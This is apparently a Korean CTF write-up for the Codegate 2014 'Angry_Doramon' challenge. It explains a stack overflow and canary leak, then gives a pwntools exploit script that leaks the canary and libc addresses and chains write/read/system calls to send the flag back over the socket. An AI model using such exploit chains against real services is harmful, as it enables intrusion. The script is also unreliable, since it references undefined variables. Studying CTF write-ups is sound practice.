Pwnable/CTF
Codegate2014 Angry_Doramon
HSr00t
2017. 2. 14. 00:47
다른것 다 생략하고 4번 메뉴에 mouse ~ 어찌구 하는 메뉴에 버퍼오버플로우 + memory leak 취약점이 있다. "read(fd,&buf,110u)" <-이 부분이 오버플로우 , 그 아래쪽에 sprintf <- 이 함수가 NULL값을 만날때까지 출력이 되기때문에 Memory leak이 된다. 그리고 v8변수가 카나리 변수 이기 때문에 buf[16h] - v8[ch] = 10 즉, 버퍼의 크기는 10
그 다음 카나리 릭을 할떄 버퍼의 크기를 10개 넣으면 안된다. 카나리는 메모리 릭을 방지해서 첫 번쨰 주소가 00 으로 되있기때문에 "Y"*11개를 넣어서 해야된다. (여기서 y를 쳐야되는 이유가 if(buf==121)을 만족시켜야 되기떄문이다 )
(그냥 빠르게 풀자는 마음으로 하다보니 .. 코드가 많이 더럽습니다 .. 메모리 릭 카나리 릭 익스 따로따로 하였습니다.)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 | #-*- coding: utf-8 -*- from pwn import * import hexdump import time p=remote("192.168.146.155",8888) leak="y"+"C"*10 ### flag="cat /home/k0rea/바탕화면/Angry_Doramon/flag>&4\00" #&4 백그라운드 파일 디스크립터 4 shell="/bin/sh\00" p3r=0x080495bd read_plt=0x08048620 read_got=0x0804b010 read_libc=0xb7665980 bss=0x0804b080 write_plt=0x080486E0 write_got=0x0804b040 write_libc=0xb76699f0 base_offset=0xc6c20 canary=0x1076d200 ### ###위까지 변수목록 print p.recvuntil('>') p.sendline("4") print p.recv(1024) p.send(leak) canary_leak=p.recv(1024)[23:26] canary="\x00"+(canary_leak) print "Oh.. my.. Canary : "+hex(u32(canary)) #위 코드가 canary leak payload="y"+"A"*9 payload+=p32(canary) payload+="B"*12 payload+=p32(write_plt) payload+=p32(p3r) payload+=p32(4) payload+=p32(write_got) payload+=p32(4) #p.sendline(payload) #write_libc1=u32(p.recv(4)) print "write_libc: "+ hex(write_libc) system=write_libc-0x9ac50 print "libc base: "+hex(libc_base) print "system Address : "+hex(system) #위 까지가 라이브러리 leak payload1="y"+"A"*9 payload1+=p32(canary) payload1+="B"*12 payload1+=p32(read_plt) payload1+=p32(p3r) payload1+=p32(4) payload1+=p32(bss) payload1+=p32(len(flag1)) payload1+=p32(system) payload1+=p32(0xaabbccdd) payload1+=p32(bss) p.sendline(payload1) p.sendline(flag1) print p.recv(1024) #위 까지가 exploit code | cs |
문제를 풀어보면서 libc.so.6 를 주는 문제는 다 풀수있을것같은데 .. 안 주는 문제는 오프셋을 구할떄 libcdb.com에서도 맞는게 없거나 너무 많은게 나오거나, libc-database <- 여기꺼는 오프셋이 안맞을떄 .. 으캐 .. 해야될지 감이 안온다 ..이번 문제에서 그랫다 ..